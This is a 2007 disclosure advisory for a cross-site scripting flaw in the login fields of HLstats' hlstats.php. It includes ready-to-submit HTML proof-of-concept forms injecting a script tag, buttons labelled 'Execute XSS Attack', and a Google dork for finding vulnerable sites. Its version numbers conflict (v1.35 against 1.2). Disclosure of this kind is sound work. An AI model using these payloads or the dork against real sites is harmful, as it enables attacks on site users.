RedLevel Advisory #020 - HLstats v1.35 Cross-Site Scripting Vulnerability #3

2007-05-25T00:00:00
ID SECURITYVULNS:DOC:17081
Type securityvulns
Reporter Securityvulns
Modified 2007-05-25T00:00:00

Description

<!--

HLstats v1.35 - Cross-Site Scripting Vulnerability #3

Vulnerable Variables: authusername, authpassword Vulnerable File: hlstats.php Vulnerable: HLstats 1.2 (other versions may also be vulnerable) Google d0rk: "generated in real-time by HLstats"

John Martinelli john@martinelli.com

RedLevel Security http://www.RedLevel.org

May 21st, 2007

!-->

<html> <head><title>HLstats v1.35 - Cross-Site Scripting Vulnerability #3</title><body> <center><br><br> <font size=4>HLstats v1.35 - Cross-Site Scripting Vulnerability #3</font><br> <font size=3>discovered by <a href="http://john-martinelli.com">John Martinelli</a> of <a href="http://redlevel.org">RedLevel Security</a><br><br> Google d0rk: <a href="http://www.google.com/search?q=%22generated+in+real-time+by+hlstats%22">&quot;generated in real-time by HLstats&quot;</a> </font><br><br><br>

<center>file <b>hlstats.php</b> - variable <b>authusername</b> - method <b>post</b></center><br> <form action="http://www.target.com/hlstats/hlstats.php?mode=admin&act_sort=description&act_sortorder=asc&weap_sort=code&weap_sortorder=asc" method="post"> <input size=75 name="authusername" value=">&quot;><script>alert(1)</script>"> <input type="hidden" name="authpassword" value="password"> <input type="hidden" name="authsavepass" value="off"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br>

<center>file <b>hlstats.php</b> - variable <b>authpassword</b> - method <b>post</b></center><br> <form action="http://www.target.com/hlstats/hlstats.php?mode=admin&act_sort=description&act_sortorder=asc&weap_sort=code&weap_sortorder=asc" method="post"> <input size=75 name="authpassword" value=">&quot;><script>alert(1)</script>"> <input type="hidden" name="authusername" value="username"> <input type="hidden" name="authsavepass" value="off"> <input type=submit value="Execute XSS Attack" class="button"> </form> <br><br><br>

</body></html>